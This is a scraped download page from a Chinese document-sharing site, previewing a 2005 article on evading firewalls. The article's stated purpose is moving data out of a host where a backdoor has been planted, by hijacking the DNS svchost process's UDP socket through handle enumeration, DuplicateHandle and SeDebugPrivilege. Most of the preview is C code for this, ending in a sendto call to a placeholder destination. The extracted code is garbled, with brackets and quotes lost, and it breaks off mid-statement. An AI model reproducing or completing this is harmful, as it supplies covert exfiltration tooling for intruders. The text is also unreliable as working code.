ImageVerifierCode 换一换
格式:DOCX , 页数:10 ,大小:19.52KB ,
资源ID:3317800      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bdocx.com/down/3317800.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(一种新的穿透防火墙的数据传输技术.docx)为本站会员(b****5)主动上传,冰豆网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰豆网(发送邮件至service@bdocx.com或直接QQ联系客服),我们立即给予删除!

一种新的穿透防火墙的数据传输技术.docx

1、一种新的穿透防火墙的数据传输技术一种新的穿透防火墙的数据传输技术使用该技术背景:在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况严重不推荐使用该技术(后面我会讲到为什么).针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:1. 找出目标进程2. 找出SOCKET句柄2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用.3. 用转换后的SOCKET进行数据传输上面

2、的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP.针对不同系统不同进程我们很难定位一个稳定的进程SOCKET.看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的黄金大道.我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀.下面是通过直接控制DNS进程(其实也

3、就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子.编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等.具体解决方法请细看注释部分./*+Made By ZwelLzwell2005.4.12-*/#include #include #include #pragma comment(lib, ws2_32)#pragma comment(lib, wtsapi32)#define NT_SUCCESS(status)(NTSTAT

4、US)(status)=0)#define STATUS_INFO_LENGTH_MISMATCH (NTSTATUS)0xC0000004L)typedef LONGNTSTATUS;typedef struct _SYSTEM_HANDLE_INFORMATIONULONGProcessId;UCHARObjectTypeNumber;UCHARFlags;USHORTHandle;PVOIDObject;ACCESS_MASKGrantedAccess; SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;typedef ULON

5、G (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;BOOL LocateNtdllEntry ( void )BOOLret = FALSE;charNTDLL_DLL = ntdll.dll;HMODULE ntdll_dll = NULL;if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) = NULL )printf( GetModuleHandl

6、e() failed);return( FALSE );if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, ZwQuerySystemInformation ) ) )goto LocateNtdllEntry_exit;ret = TRUE;LocateNtdllEntry_exit:if ( FALSE = ret )printf( GetProcAddress() failed);ntdll_dll = NULL;return( ret );/*+This ro

7、utine is used to get a processs username from its SID-*/BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)/ sanity checks and default valueif (pUserSid = NULL)return false;strcpy(szUserName, ?);SID_NAME_USE snu;TCHARszUser_MAX_PATH;DWORDchUser = _MAX_PATH;PDWORD pcchUser = &chUser; TCHARszDoma

8、in_MAX_PATH;DWORDchDomain = _MAX_PATH;PDWORD pcchDomain = &chDomain;/ Retrieve user name and domain name based on users SID.if (:LookupAccountSid(NULL, pUserSid, szUser, pcchUser, szDomain, pcchDomain, &snu)wsprintf(szUserName, %s, szUser);elsereturn false;return true;/*+This routine is used to get

9、the DNS processs IdHere, I use WTSEnumerateProcesses to get process user Sid, and then get the process user name. Beacause as its a NETWORK SERVICE, we cannt use OpenProcessToken to catch the DNS processs token information,even if we has the privilege in catching the SYSTEMs.-*/DWORD GetDNSProcessId

10、()PWTS_PROCESS_INFO pProcessInfo = NULL;DWORD ProcessCount = 0;charszUserName255;DWORDId = -1;if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount)/ dump each process descriptionfor (DWORD CurrentProcess = 0; CurrentProcess User.Sid, szAccountName,&dwAccountSize,sz

11、DomainName, &dwDomainSize, &snu);if(hProcess)CloseHandle(hProcess);if(hAccessToken)CloseHandle(hAccessToken);return true;*/*+Now, it is the most important stuff. _-*/SOCKET GetSocketFromId (DWORD PID)NTSTATUS status;PVOIDbuf = NULL;ULONGsize= 1;ULONGNumOfHandle = 0;ULONGi;PSYSTEM_HANDLE_INFORMATIONh

12、_info= NULL;HANDLEsock = NULL;DWORDn;buf=malloc(0x1000);if(buf = NULL)printf(malloc wrongn);return NULL;status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );if(STATUS_INFO_LENGTH_MISMATCH = status)free(buf);buf=malloc(n);if(buf = NULL)printf(malloc wrongn);return NULL;status = ZwQuerySystemInf

13、ormation( 0x10, buf, n, NULL);elseprintf(ZwQuerySystemInformation wrongn);return NULL;NumOfHandle = *(ULONG*)buf;h_info = ( PSYSTEM_HANDLE_INFORMATION )(ULONG)buf+4);for(i = 0; i0)/ if port 0, then we can use itbreak;catch(.)continue;if ( buf != NULL )free( buf );return (SOCKET)sock;/*+This is not r

14、equired.-*/BOOL EnablePrivilege (PCSTR name)HANDLE hToken;BOOL rv;TOKEN_PRIVILEGES priv = 1, 0, 0, SE_PRIVILEGE_ENABLED ;LookupPrivilegeValue (0,name,&priv.Privileges0.Luid);priv.Privileges0.Attributes = SE_PRIVILEGE_ENABLED;OpenProcessToken(GetCurrentProcess (),TOKEN_ADJUST_PRIVILEGES,&hToken);Adju

15、stTokenPrivileges (hToken,FALSE,&priv,sizeof priv,0,0);rv = GetLastError () = ERROR_SUCCESS;CloseHandle (hToken);return rv;void main() WSADATA wsaData;chartestbuf255;SOCKETsock;sockaddr_in RecvAddr;int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);if (iResult != NO_ERROR)printf(Error at WSAStartup()

16、n);if(!LocateNtdllEntry()return;if(!EnablePrivilege (SE_DEBUG_NAME)printf(EnablePrivilege wrongn);return;sock = GetSocketFromId(GetDNSProcessId();if( sock=NULL)printf(GetSocketFromId wrongn);return;/Change there value.RecvAddr.sin_family = AF_INET;RecvAddr.sin_port = htons(5555); RecvAddr.sin_addr.s_addr = inet_addr(127.0.0.1);if(SOCKET_ERROR = sendto(sock, test, 5, 0, (

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1